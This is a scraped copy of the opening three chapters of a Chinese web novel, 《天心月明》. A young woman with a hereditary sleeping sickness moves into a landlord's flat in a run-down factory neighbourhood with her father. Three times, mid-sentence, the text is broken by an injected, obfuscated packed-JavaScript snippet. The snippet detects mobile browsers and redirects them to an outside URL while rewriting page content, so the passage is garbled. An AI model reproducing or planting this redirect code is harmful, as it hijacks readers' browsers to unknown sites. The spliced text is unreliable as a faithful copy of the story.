《天心月明》 1. 新房客 八月快结束时,蔡云深独自开车离开。到邻城服务区,她才给老许打电话。 “爸,我过两天回家。” “好啊,”听女儿说要回江安,老许很开心,“出差还是休假?呆几天?多久的飞机?” “不是出差,也不是休假,是有点变动。” 刚想问“你什么时候出发”,老许就听自家女儿抛出第一枚深水炸弹—— “爸,其实,我打算回江安来工作。” 电话那头呆愣片刻:“你是说,滨城的工作你辞掉了?” 不是辞职,是被开除。 蔡云深说不出口,“嗯”了一声,抛出第二枚炸弹—— “……那个,我还带了只狗回来。” 沉默。 从沉默中,蔡云深感受到了阻力,因为养狗这件事总是不行: 小时候妈妈反对,长大后是老许。 “就暂住一段时间,等一切安定,我马上带着狗搬出去,好吗?”蔡云深问,“实在不行,也至少缓和给我一两天……我得找到靠谱的地方寄养它……”说到这已难掩低落。 老许终于答话,但他关注的重点却是:“你打算怎么把狗带回来?”问她,“托运?” “……我开车。” “那不行!”电话那头果然爆发,“你一个人开长途?绝对不允许!” 所以她才要先斩后奏呢。 蔡云深小心翼翼跟向来过度保护的老父亲汇报: 木已成舟。现在她已经人狗一车,开到江安隔壁。 哄了好一阵,老许才平息。蔡云深再次问他: “所以,我回家吗?” “回啊!”老许说她,“有家不回,你去哪?” “那狗呢?” “一起带回来啊,本来现在家里也……” 也怎么样,老许又不说,只道: “反正,我这边也有点变动。” 暗自掂量父亲的“变动”跟她的会不会是同一等级,就听那边说: “总之你先回来!这两天跟我保持通话,随时报平安,知道吗?” 蔡云深得偿所愿,连连答允,声调都变轻松。最后让老许—— “把新家地址发我!” …… 家是今天春天搬的。年初,蔡云深小叔的农家乐开起来,爷爷觉得那边空气更好,便投奔了他。那之后不久,老许就说一个人住城里太无聊,想搬回单位小区里,热闹。 对此蔡云深没异议:房子是老许的,想怎么处理,他开心就好。她工作繁忙,人又在外地,连搬家过程都没参与,不过是通通电话,跟老许确定老屋里属于自己的物品哪些要搬、哪些扔掉—— 所以到现在,蔡云深都还没见过她那神秘的新家。 无论如何,落脚处定了。辞职和养狗的大事也都跟老许通了气,蔡云深也就不着急。 太不着急,以至于接下来在邻城,看到大街上的广告,她鬼使神差,跑去割了眼袋。 小地方排号快,加上术后休养,三日后就上路。疼不太疼,就是眼睛还乌青,视线也没恢复,需要戴墨镜。 速度比平时压得低,最终抵达江安已是下午时分。 蔡云深把车往天心开。 * 天心原是江安市郊的一座小镇,城区扩张后并入主城,现在也不叫“镇”了,叫“天心社区”,属于典型的城乡结合部。 在天心,蔡云深的父亲许江度过了他的大半辈子。 许江没出生前,天心镇上名号最响的“国字号”就是许爷爷所在的仪表厂。后来许江子承父业,接替父亲成了厂里一员。 曾经风光的仪表厂在进入新世纪后迅速没落,加上江安对城西改造不力,让这里变成远落后于市区发展的荒废带。 两年前,落魄的仪表厂决定移址。厂房和家属区断断续续搬走大部分,被留在天心的只有淘汰的生产线,和一帮即将退休的老职工。他们经协调守在旧址,做着可有可无的工作,说不好搬迁跟退休哪个先来,当一天和尚撞一天钟…… 而许江,就是这样的“老职工”。 虽然是土生土长的“仪表人”,许江的小家庭却早与天心无关。蔡云深还在上三年级的时候,他们就搬进城里。 自那后她再没回过仪表厂,直至今日。 转眼十八年过,人间换了。天心却似乎依然是那个天心。 蔡云深只觉眼前的一切愈发熟悉: 彩桥,水塔,相思河,沿河往上走是农田、林区、飞燕山…… 有熟悉的,也有陌生的,比如她离开后才加盖的厂房和家属区,以及满目因为拆迁造成的残垣—— “这是一沟绝望的死水,清风吹不起半点漪沦。” 蔡云深把车开向废墟。 到小区门口。大门上掉漆的牌匾写: “仪表厂天心小区”。 还没进门,先见门卫那边,许江正嘻嘻哈哈跟人侃大山。 蔡云深摁车窗:“爸!” 见到她,许江更开怀,然而人还没过来,先被守门的拉住交头接耳,往车后面去。 等他上车,适才的笑容已换成担忧,那么久不见的第一句居然是: “妹妹,你人没事吧?” 蔡云深奇怪:“我能有什么事?” “车祸啊!那么大一窟窿!” 蔡云深茫然。 开进小区停好车,下来一看,才发现车屁股还真是让人给撞了—— 好大一窟窿。 许江惊讶:“你没发现?” 蔡云深沉眉。 今早刚出发没多久,突降暴雨。雨大到辨不清视野,干脆在路边找了个地方停车休息。后来打了个盹,估计就是那时被不知道哪来的王八蛋撞了,还跑了。 再看她这辆二手车,被她一路飞尘地开回来。又经历了事故,伤痕累累。 许江越想越后怕,狠狠说了她几句。她一言不发地听着。 好一阵了,父女俩才从这突发事件中回过神。一边下行李一边闲聊,许江跟她说起搬家的种种好处: “下楼就上班,给我省下多少油费!而且这边租金低,我把咱家里那套租出去交这边的房钱,差价都有一千块!” 一千块?唬谁呢。他家在市区那套老房子面积不大、装修不佳、地段还差,租给别人也就千来块。除非天心这边的房东傻,不问他许江要租金。 不过天心地价低是真的: 地处城西,又偏远,周边还破旧。就这一路开进来所看到的,别说美食娱乐,就连当代社区的基本配置——24小时超市跟街心花园,天心都瞧不见一个。 门前是一条河,河上是老彩桥,过桥是旧马路,再往西是农田、山区…… 一言以蔽之:鸟不拉屎。 似乎看穿了她的想法,许江下一句就是,凡事不能只看表面。说着大手一挥跟她指点江山—— “看,那个就是我们住的7单元!新建的,人称,白宫!” 蔡云深抬头瞻仰: 早已掉漆的“白宫”虽然已是全区最拿得出手的建筑,也盖了超过十五年了, 六层楼,没电梯。 “精装一套三,比我们城里的房子大多了!这么跟你说吧,这租金,找遍整座城,你都再找不到这么漂亮的房子!” 许江活像个中介,对着她滔滔不绝,“而且房东也养狗!他说了,你的狗他可以帮你一起带!这不比拿出去寄养好?” 等等,什么叫帮她带? 许江点她:“阿旺记得吧?小时候你常跑去别人家玩的那个?天天哥哥、哥哥地跟人后边喊。” 蔡云深警戒:“不记得。” “不记得也没关系,反正这人我从小看大,信得过。” 铺垫到这,许江终于抛出深水炸弹:“平时有他在,万事好照应……” 蔡云深听出弦外之音,却依然不可置信:“你可别告诉我,这个阿旺,也住我们家?” 许江纠正她:“是我们住阿旺家。” 听到这么出奇的事实,蔡云深是樽佛也来了抱怨:“你怎么想的,自己有房子不住,跑去跟一个陌生人同居?难道缺钱了?怎么会呢……你借网贷了?!” 许江忙让她小点声:“什么网贷!我就是个普通租客!而且阿旺不是陌生人,都说了我从小看到大的!”又叮嘱她,“在单位家属区,说事情不能用喊!天心人人都是顺风耳,而且大家都知根知底的,听到半句就开传,一会儿以为我跟哪个女同志同居,还得挨个儿解释……” “那我一个女同志就能跟男房东同居?!” “什么你们俩同居?当我不在家?”许江急眼,“哎呀我考虑过的……你跟小赵也就过年回来,阿旺到时会回老家的,他说过,绝不跟你们照面!我本想着先住下来,看看小区里还有没有更合心意的房子。结果住得太舒服,一住就住到现在……我哪知道你会突然辞职,而且还是离开滨城回江安来?” 她失业,离开一座城;他迁居,住进别人家,还都事先不告知…… 可不是亲父女。 许江推着她进门栋:“你先进去看看嘛。” 不幸中的万幸,阿旺家住一楼,没让她在这么热的天顶着一双还在术后康复的眼睛爬楼梯。 烦闷归烦闷,蔡云深还在门外,就觉得这个7单元1号是有点意思—— 它竟然,在这么一个周遭一片破败的老门洞里,装了一道智能防盗门。 这是防的是哪门子盗呢? 就这破烂小区,强盗进来,也得哭着出去吧。 腹诽着走进701,却瞬间舒心: 在酷暑里,没什么比冷气更能降燥,何况其间还带着一股熟悉的香气。 是许江烧了她最爱吃的菜。 闷气消散些,蔡云深换鞋进门。很快就明白这房子为什么会被许江夸上天—— 在这鸟不拉屎的小区里藏着的,居然是一间经改装的大套间。 整体是原木色,客厅两面带窗。挂墙电视尺寸大,皮质沙发又宽又松软,旁边是台黑胶唱机和一个放了书和唱片的置物架。还开了道落地门,出去是生机盎然的小花园。 在这个夏日将尽的八月,庭院中不同品种的蔷薇正在盛开。 常年蜗居沿海,蔡云深住过的地方都不算宽敞,且基本是都市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059635|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简装风,冷清又逼仄。因此,她的梦想之一就是以后有了自己的小家,一定储够钱把它装修成喜欢的样子。希望它是温馨的,泛黄的,充满了旧日气息。这样即使每天再疲惫,也能在打开家门那一刹被治愈。 而眼下这个家,可以说是正中蔡云深红心。 据她常年围观家居改装视频得来的经验,这一套装下来可不便宜。问许江,许江不清楚,只说阿旺妈妈是个设计师,这堪比样板间的房子出自她的手笔。 一边说一边领她进卧室。卧室延续了客厅的风格,大床,衣柜,电脑桌,桌上是悬空书架,放满了书。 书架上的空余处出乎意料地摆了几样属于她的东西: 从小陪她到大的美少女战士存钱罐,一个钢琴形状的八音盒,和一枚沉香木观音牌。 都是许江从以前的家搬来的。 “书房面积最大,采光好,还带阳台,之前租给一家三口住,现在就你一个,肯定宽敞了,”许江告诉她, “缺点是没有独立卫生间。我住的那间有,要是你觉得不方便想住我那,就等周末我休息,咱俩换房间。” 许江说着带她去看自己的卧室,确实比书房小,采光也差点,少个阳台,多个卫生间。 结束游览,许江问她:“怎么样?” 蔡云深不答话。 但是,不得不说,对于眼前的房子,她的评价其实是四个大字: 蒙尘美玉。 ——如果,它连厕所都很干净的话。 蔡云深问许江,公用的那个卫生间在哪。 真决定住下来,那么起码这周末前,她都得暂时住书房,必须跟这房子里的另一个人,那个阿旺,共用洗浴。 要是太脏,她可下不了脚。 许江却像她肚皮里的蛔虫,跟她指完路后打包票:“放心,阿旺这个人很爱干净的!” 踩着老爹的尾音推开厕所门,发现他所言非虚: 地板没有污垢,花洒也发亮,就连最有可能出问题的马桶极其周边也光洁如新,洗手台更是一尘不染,墙上甚至有酒店用的那种取擦手纸的塑料盒…… 满意地扯纸擦尽手上的水湿,蔡云深看洗手镜。 在镜子前,她站了片刻,摘下墨镜。 奇怪的五官,拼成一张难看的脸。原本就丑,现在还双眼乌青—— 如果厌恶是自我凌迟,那么镜子就是最尖锐的利器。要是它没有那么大、那么清晰就好了,蔡云深看着镜中浮肿的人想。 或许是因为长相吧,她的人缘总是很糟,平生听到最多的评价是: “蔡云深?记得啊,就是那个疯疯癫癫的……” 自洽是一种能力,她缺失。活了二十七年,在这个世界上她最无法接受的人,是自己。 因为这个原因,蔡云深脑中总是充满杂音,无论何时看镜子,都觉得里面的女人很碍眼。 每当这个时候,她就会做一件事来消除不安—— 蔡云深掀起衣服,露出自己的肚子。 小腹光滑平坦,腹肌虽不明显,但马甲线清晰。 很好,坚持卷腹是值得的。核心决定行进速度。 没有赘肉、有力的腹部,能让她的心绪迅速平定,好像无论什么意外降临,她都能够自保。 这种诡异的想法,她从未对任何人讲。 也是这时,蔡云深从镜中发现自己背后的高处,还有个置物架。 这置物架相当凌乱,在这个漂亮整洁的家里,它扎眼得像玻璃上的划痕。 蔡云深转身打量,只见上面堆的是棉签、湿巾纸,以及一堆外用药, 有碘伏,红霉素软膏,开塞露,以及肛……? 肛什么?! 踮脚侧头,依然看不清后面被遮挡的字。但要她去触碰那个呵护肛*门的膏剂,她又是十二万分不愿意的。 罢了,反正已经懂了: 这几样药摆一起谁会用、用在哪,她偏偏知道。 Gay达直响,表面却装得无事发生。出卫生间就被老爹追问: “怎么样,是不是很干净?”又不是他打理的,他一脸骄傲,“现在知道为什么我宁愿合租都要住进来了吧?这装修,这小花园,这卫生条件……去哪找?而且你看,所有窗户,落地门,都用的防弹玻璃!” 防弹玻璃,防盗门。这家里若不是藏了金库,那就是—— “房东多少带点被害妄想症。” “什么妄想症啊?”许江说她,“阿旺那是注重安全,我们住着也安心!” 听到“安心”两个字,被梦中情房诱惑得飘然的蔡云深再次回到现实。 新家是漂亮,却凭空多出一个陌生异性。幸好这人不脏乱,人品在许江那过了关,还极有可能是“姐妹”,风险评级大幅降低。 但蔡云深还是无法真正“安心”—— 因为她有隐患。 事实上,之所以被开除,也是因为这个隐患。 “爸,暂时住这我没问题,只是……” 许江:“只是什么?” 到此,蔡云深才抛出真正的深水炸弹: “我好像又要沉睡了。” 2. 沉睡症 蔡云深妈妈蔡美仙那边有个奇怪的家族病,不幸中招的成员每隔几年就会陷入沉睡。在沉睡期间不吃不喝,只是睡觉,像冬眠的蛇那样,任谁都叫不醒。 这怪病,从蔡美仙那里原封不动传给了蔡云深。 蔡云深第一次沉睡是在9岁。闭眼前周围小朋友的最爱还是《还珠格格》,醒来时大家已经开始为她听都没听说过的《流星花园》发疯。日历也从2000换成2001。 那是蔡云深第一次知道世界上还有此等怪事,又被蔡美仙告知未来或会反复,但不确定下次发病具体是什么时候,因为这病它还因人而异。 沉睡症在18岁再度降临。然而跟上次不同的是,这一次,能够陷入沉睡是蔡云深所期望的—— 当时,她失去了蔡美仙。 不想面对母亲突然离世的怆痛,蔡云深逃向第二次沉睡,在意识真空里过了几月。再醒来时,错过大学开学时间的蔡云深发现自己已经被许江办理了休学。 因为前两次经验,蔡云深猜自己的沉睡症反复期或许是九年。每隔九年,这个怪病就会找上她。但又不太确定。 人生本来就没有几轮九年,而她的猜测,需要等下一个九年才能验证。 现在,“下一个九年”来了。 2018年,蔡云深明显感觉自己又将陷入新一轮沉睡—— 否则,她不会只是打个盹,就连自己的车被撞了都不知道。 “这狗挺乖呀,安安静静的。咬人吗?” 蔡云深回过神。此刻,许江正跟她并排蹲在小狗露娜面前。不等她回答,男人就上手摸,露娜乖巧地回应。 “不咬人。”蔡云深答,“但你跟它还不熟,摸可以,不要抱,突然抱它它会对你呲牙,还会发凶声。” 许江收回跃跃欲试、正想抱狗的手。 “不过你取的什么洋名字?什么娜?” “露娜,”蔡云深解释,“就是《美少女战士》里面那只黑猫的名字。” “这是猫吗?这是狗!” 蔡云深笑:“有什么关系?” 把小狗的窝安置好,便开始朝书房搬行李。许江过来搭手,跟她有一句没一句地闲聊。 也聊到房东—— 阿旺大她三岁,今年三十,平时要么不在家,要么把自己锁卧室,跟不在也没大区别; 这套房子是阿旺奶奶的,他爸还有个单位分配的小单间在隔壁幢。那边又小又黑,被阿旺用来放杂物。奶奶死了,爸又不在天心,所以现在而今眼目下,这两处房产都归阿旺; 阿旺好说话,能干活,小区里有个什么电器失灵、维修改造、下水道堵塞……交给他都搞定,还跑兼职,接各类便民委托。 蔡云深越听,越觉得这家伙不务正业,仗着长辈留下的房子安然啃老、混吃等死。 “你小时候,有一次非要阿旺的变形金刚,人家不给,你就闹,没办法,让你玩。你倒好,刚到手就给人摔坏!把阿旺气得,一个人跑去厕所躲起来哭……” 回忆结束,许江感慨:“说起来,你俩也算青梅竹马。” “青梅竹马”个鬼。她都不记得这号人,也没有任何亲近感。 倒是想起小时候有一套TVB老剧,里面的男主角就叫“阿旺”,是个傻子。 那部剧是蔡美仙的年度最爱,所以还是小孩子的蔡云深也跟着看,但她一点也不喜欢—— 什么“阿旺”啊? 傻乎乎的名字。 话虽如此,她还是打算先住下来。 十几分钟前,听说她的沉睡症即将反复,许江立马心疼。 许江总觉得这个怪病让自家女儿受了很多罪:小学不得不转学,大学不得不延期,再加上现在,在滨城做了这么多年的工作居然也没了…… 然而长叹后,他还是说:“先住下吧。” 蔡云深把话说得更明白:“即使阿旺发现我有怪病,出去到处宣传,也没关系?” “没关系,阿旺不会发现,更不会去宣传。” 为什么这么笃定? 她想问,许江没给她机会,只说反正她倒下,他会像九年前一样叫救护车送她进医院。到时编个借口搪塞阿旺不就得了—— “这种非常时期,留在家人身边,不比去其他地方靠谱?” 是啊,非常时期。她再讨厌这个会给自己、给他人带去麻烦的病,也无能为力。 走一半算一步吧。忧心半天,万一这怪病它今年不发作呢? 总觉得它跟月经一样不好揣摩,来不来、什么时候来,有时还得问问天意。 “我说妹妹,”刚想到这,许江问她,“你怎么进门这么久了,还舍不得摘墨镜?” 蔡云深在邻城滞留了几日,跟父亲报备的是“散心”。“祛眼袋”这种大事项,要是现在坦白,估计会被念到吃晚饭。 蔡云深一心理行李,找个借口让许江不用再帮忙,把人推出书房。 “对了,你有什么要洗的,理出来放冰箱上就好!”离开前,许江在门外喊。 蔡云深好笑。 不问都知道,许江口中的“冰箱”指的其实是“洗衣机”。 他还会把“VCD”说成“卡拉OK”,把“交流沟通”说成“交通沟流”…… 从蔡云深还是个小孩、他还是个头发乌黑的年轻男人时就开始。 那时候,蔡美仙还在。她和妈妈常常因为许江突如其来的口误笑话他。对此许江的回应就是那句—— “有什么关系?” “没关系,就是觉得这些口癖要跟你一辈子了!”蔡美仙笑他。 听到“一辈子”这个词,当时的蔡云深没太大感触,只是跟着大笑,好像对他们这个三口之家而言,“一辈子”是理所应当的。 其他“理所应当”比如,跟同学解释她的名字。 许江姓许,她姓蔡,因此总会遇到一些人问她同样的问题: 蔡云深,为什么你姓蔡你爸爸姓许?你爸妈是不是二婚?还是因为你是捡来的?…… 蔡云深每次都会坦然地跟大家解释,她爸妈不仅是彼此的初婚,还是彼此的初恋,而她是他们唯一的女儿。只不过她家做了个跟别人家不同的决定,让她随了母姓。 对此,她甚至有些得意,因为这一点令她与众不同,并且是难得的、正面意义上的“不同”。她还会在解释中刻意放大自己一家三口的幸福美满,乐此不疲,并觉得理所应当。 然而,这些“理所应当”在她19岁那年,因为蔡美仙的突然离世而粉碎。 …… 不能再回忆。好像再往那个界限迈步,她就会再一次坠入无底深渊。 从行李中起身,蔡云深决定让自己分分心,走向书柜看上面的书: 儿童百科,茶叶煲汤,音乐摄影,刑侦犯罪…… 分门别类,规规整整。 读不进书的蔡云深一脸艳羡,像偶然闯入别人花园的小孩。 也不禁在脑海拼凑起房东的样子: 感觉他斯文弱气,戴一副金丝眼镜。做事有条理,却总觉得有些阴柔——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059636|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不然不会因为被抢走变形金刚就躲起来哭,更不会需要治疗菊部。 胡思乱想间,瞟到一旁玻璃柜里的唱片。 蔡云深一眼就看到其中一张,莫名被吸引,打开柜门抽出来看。 然后,她就在陈旧的封套上惊讶地发现,这唱片里有一首歌叫《残梦》。 拿手机找出对应的曲目播放,居然不是同名异曲,还真就是近几年她循环得最多的那首。 唯一不同的是,她听的是女声翻唱版。 知道它是老歌新唱,听原曲却是头一次。更没留意原来它这么老: 发表于1979年。 “人站到千里外,你可感到,风吹苇草动?”这歌里的歌词写。 每每听到这,蔡云深都会格外触动,因为自小以来,她就经常做一个梦。 那是一片长满了芦苇的河岸,有时白雾迷茫,有时阳光熠熠。多少年间,她都一个人迷失在苇草从里,迷失在梦中—— 就连沉睡症发作时,这也是她脑海里唯一会出现的画面。 明明是自己生命时间以外的歌曲,却在第一次听就觉得灵魂被呼唤。好像它真的是她的一段残梦,向她证明即使记忆空白,她也曾在那片只属于沉睡的时空荒野真实存在过。 在那里,她似乎也变成了苇草,风一吹便沙沙作响,等待千里之外的人听见…… 突然就想问问这个房间的主人,是不是也听过这首歌?喜欢吗?为什么? 音乐从不理性。蔡云深此刻对自己的评价也一样: 不理性,十分不理性。 所以接下来,她做了个无比理性的决定,那就是绝不在这个家哼唱《残梦》,以此打消所有跟一个陌生人聊一首老歌的可能。 一个小时后,蔡云深将无比感谢自己的理性—— 701的第一顿晚饭正式开吃。 许江有多开心,看桌上的阵仗就知道:烧牛肉,水煮鱼,炒牛蛙,回锅肉,…… 来做客的长辈蔡云深也基本面熟,就算她不认识别人,别人也认识她。 “妹妹回来了?什么时候到的?” “回来就好,回来就好!” “滨城是好,但累啊;还是江安呆着舒服,对吧?”…… “妹妹”是蔡云深的小名,老街坊们跟着许江和蔡美仙都这么叫。因为这称谓,蔡云深总觉得自己像是被呵护着。 比如现在,对她二十七岁的“妹妹”,叔叔阿姨们嘘寒问暖,唯独不问那个最重要的“为什么”—— 为什么要从沿海大城市离职,回到天心这种城乡结合部? 蔡云深也确实不想被问。 关键问题跳过,客套却逃不掉: “上次见你还是个小朋友呢!”有个穿旗袍、很有气质的阿姨拉着她看,“一晃十几年,长成大美女了!” 蔡云深笑着回应,心里却在想,大美女? 人类社交好像脱离谎言就没法进行。辛苦这位阿姨,要对着她的丑脸说这么违心的话。 想想也是,人家总不可能说:“一晃十几年,长成大丑女了!” “不过,你怎么戴着墨镜?”然后就听阿姨问。 蔡云深说明情况,顺便说这事还没来得及跟许江解释。 阿姨秒懂,配合地凑她耳旁:“在哪割的?”她小声关心,“效果好不好?” 蔡云深闻言莞尔:“阿姨,我这乌青都还没消呢。” 正谈笑,开门声响起。 “应该是阿旺回来了!”大家期待。 3. 危险感 进来的是个年轻男人,高大挺拔、俊朗清爽。在一桌中老年的衬托下,他像灰芜里一抹青。 当然,蔡云深觉得自己也不是什么新鲜颜色。她也是灰芜的,她想变透明。 “是福娃啊!快坐快坐!”只听众人招呼他。 果然,这人不是阿旺——看年纪也不对。 不过福娃……08年奥运会吉祥物? 这么看来,他那一双桃花眼确实生得喜庆,跟吉祥物有几分挂像。 她躲在墨镜后偷偷观察,被大家称为“福娃”的男人却一点不藏着掖着,搬了根塑料长凳过来,挤都要挤到她身边—— “云深姐!好久不见!还认识我吗?我们以前抱着照过相!” 来不及应对,被福娃挤开的叔叔先喷酒:“你俩抱着照过相?什么时候?” “二十年前!” “噗!二十年前你几岁啊,罗星灿?” 福娃理直气壮:“我三个月!” 哄堂大笑。 等等,“星灿”? 他是胡家那个孩子? “对的,我以前叫胡星灿!”见她记起来,福娃更开心,“我跟你一样改了姓!” 那他们确实是抱过—— 20年前,眼前这个自带闪光的英俊男人还是个皱巴巴的小婴孩。作为已经上小学的大姐姐,蔡云深跟小区里其他小孩一起跟福娃照了张照片。其中抱着福娃傻笑的就是她,胸前飘着鲜艳的红领巾。 所以,她比他大了整整七岁? 蔡云深顿感自己被名为“岁月”的无情铁手推进冰窟。 “我听许叔叔说你打算住下来?”不知她感慨的福娃继续问。 “是。”虽然只是暂住。 “太好啦!我就住隔壁栋,经常过来玩!”福娃告诉她,“对了,许叔叔还说你的工作是在网红公司给人当助理?” “……是。”虽然目前已离职。 “哇!”福娃双眼放光,一脸期待,“那你岂不是认识很多网红,还知道他们很多瓜?” 瓜? 第一时间闯入脑海的,是前公司卖单纯男大人设的某网红,私底下其实有几个同性炮友。去厮混翌日,男人有时会一大早给她打电话,催命般差她去买菊部外用药给他送去——“立刻!” 所以,她才会在看到几乎一模一样的配置后,对面都没见过的无辜房东大胆臆测。 往事不堪回首。 蔡云深不想提:“其实,保密是我们这行的基本操守。” 本是为翻篇乱找的说辞,单纯的福娃却在听了这句后肃然起敬。之后也不再追问,而是把关注重新转回她: “不过云深姐,”他好奇,“你怎么在家还戴着墨镜?” 蔡云深还没答话,旗袍阿姨先发声,帮她挡过这一问: “行了福娃,”她说,“女孩子的事你别问,说了你也不懂!” “谁说我们福娃不懂?”旁边的叔叔驳斥,“上次我还听他跟女朋友煲电话粥、喊对方宝贝呢!当人家还在地上爬?” 听到“女朋友”这三字,刚才还灿烂满格的福娃蔫气。 蔡云深一眼看出不对,岔开话题: “其实,为什么叫他福娃啊?”她问大家,“难道是因为他长得像08年奥运吉祥物?” “不仅是长得像!”群众踊跃作答,“这小子是真的福气好,命里带福星的!” “是啊,随时都能‘再来一瓶’!跟他打牌,我就没赢过!” “考大学也是!以前我们都觉得他那个成绩,不是专科就是体育生,结果这小子不知道怎么突然开窍,居然考进江安大学,学的还是新闻!” “是啊,校区还就分在这附近,想回家也方便,你说他是不是狗屎运?” …… 在吹捧中,福娃终于重新绽开笑脸,摆手:“也没有那么神奇啦。” “怎么不神奇?阿旺那个倒霉鬼买了那么多年彩票,唯一一次三等奖,还是你帮填的数!” “对呀对呀!要说福娃跟阿旺,那简直就是两个极端!……” 拉踩完没福气的阿旺,顺口问蔡云深: “妹妹,你跟阿旺也有十来年没见了吧?” 蔡云深直言:“其实,我连阿旺是谁都不记得。” “不会吧?你们原来那么好!” 又来了。 这个家的主人,她的新房东阿旺,总有人来证明他们小时候多熟悉。 蔡云深却一点印象也无。 她甚至,连他的全名叫什么都不知道。 尴尬间,又有人开门。 “这次肯定是阿旺!”普天同庆。 万众瞩目的阿旺终于回家了。蔡云深跟大家一起看向门口,发现对这个人,她竟然是隐隐期待的—— 或许因为干净的卫生间,或许因为那一整面不同类型的书,又或许仅仅是因为一首老歌。 进来的却是狗。 阿旺养的狗是一只杂交小型犬,名叫小虎。 但小虎最大的特征许江却没告诉她: 它只有三条腿。 刚在宠物店洗得一身洁净的小虎万分热情。狗绳一脱,便哼哼唧唧冲进来猛摇尾巴。就连蔡云深这个陌生人也不错过,到她跟前撒娇、要她抱。 伸手熟悉了一下,便一点阻碍也没有地抱起这只小狗。 因为它只有三条腿,蔡云深的溺爱更泛滥。 跟小虎亲昵了一阵,它的主人才换完鞋,走进来。 然后,蔡云深便看到传说中阿旺。 跟自带闪光的福娃不同,阿旺整个人都乌糟糟的。胡子拉渣,刘海又长,把双眼都遮住。身形粗犷,深色短袖衫被夏日的暑气蒸得汗湿,好像刚干完一天的活路。 跟她之前在书房的想象大相径庭: 他既不文弱,也不干净。 在充满祥和氛围的晚餐时刻,他就像个弹错的、怪诞的音符,带着穷途末路的颤音—— “这是一沟绝望的死水,清风吹不起半点漪沦。” 更令蔡云深诧异的是她对阿旺的反应: 此时此刻,她的心脏仿佛被人掳走,开始不受她控制地猛跳。 就像受伤的羚羊见到鬣狗,只需看对方一眼,就明白危险。 他出现的一刻,是非常恐怖的一刻。灵魂源源不断朝她释放诸如此类的信息,浓烈且直白。 现在,蔡云深很确定自己不想跟这样一个人谈论《残梦》。 一想到即将跟他住同一屋檐下,她就犯怵。 对她升起的抵触一无所知,男人望向门外: “进来啊。” 被他唤进门的是个小男孩,额头贴创口贴,眼角一边乌青着,脸上也有抓伤。 大人们热情招呼这孩子,问他脸怎么伤了,他不答。 还是阿旺帮着解释,说是跟院里的小孩打了一架。刚回来又碰见那仇家,心情正不好。 “为什么跟人打架?” “人家说他是矮冬瓜,还说……” 一直沉默的男孩听到这句立刻炸毛:“你明明答应我不说的!” “好好好,不说了。” “你说都说了!大嘴巴!” 一大一小拉扯着进厨房洗手。回来落座,小男孩再不理阿旺,过来第二次挤开叔叔,贴福娃身旁。 阿旺坐去对面。 有长辈问阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059637|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旺,去医院看到秀婆婆没?情况如何? 阿旺答看到了,情况不乐观,但秀婆婆意识还算清楚,跟他和聪聪聊了会儿天。 大家听完便夸起小男孩,说他小小年纪有情有义,居然懂得挂念老邻居,还特意去医院探病。又给蔡云深介绍,说这是丁威的儿子,丁聪聪。 丁聪聪蔡云深不认识,他爸丁威她可太认识: 孩子王丁威大她们好几岁,小时候屁股后面有一群像蔡云深这样的小尾巴跟着,在她们那届小孩的心里威望极高,是蔡云深的初恋对象。 可惜,她这初恋后来的人生轨迹歪出了花: 丁威打出社会以来就没干过正事:混帮派,进局子,好不容易消停回天心,却不知在家鼓捣什么,把老房子都搭进去。以前在仪表厂,丁家也算是大户,被他败得裤*裆都不剩。 直到近两年,父母相继离世,丁威才迎来迟到的“懂事”,浪子回头,安安心心做起快递员。 即便如此,他们是“青梅竹马”这层关系无法否认,毕竟真的一块儿长大。 不像坐她对面、连印象都没给她留下的某某—— 此刻,许江正给阿旺倒酒。 阿旺:“白的我喝不了。” 许江:“喝一点喝一点!今天开心!” 蔡云深冷脸看着自己劝酒的爸,想难怪他喜欢天心呢。 酒鬼掉进酒坛子,还有这么多酒友,可不欢喜? 也不问问自己身体受不受得起。 不知道她厌烦,许江还在那笑嘻嘻的,把干煸苦瓜往阿旺面前一推: “今天彩票开号!怎么样,中奖没?” 阿旺霉馊馊地夹苦瓜:“中就有鬼了。” 一桌人似乎就在等这句,哗的笑开。好像这一天再不开心,一听阿旺说没中奖,就又能开心。 刚才还板着脸的丁聪聪此刻也开怀,还跟大人们揭短: “阿旺叔叔可倒霉了!”他说,“从彩票店出来,他还摔了一跤!摔进了坑里!脚都跛了!”说完还站起来,学阿旺一歪一斜地走路。 大家笑得更大声,唯有许江问阿旺,摔得重不重,要不要去医院? 阿旺答没事。只骂那个坑,那么大也不填。 丁聪聪小大人似的安慰阿旺:“你也别难过,”他说,“今晚我陪你睡!” “滚蛋,”阿旺却嫌弃,“你都多大人了还跟人睡?自己睡书房。” 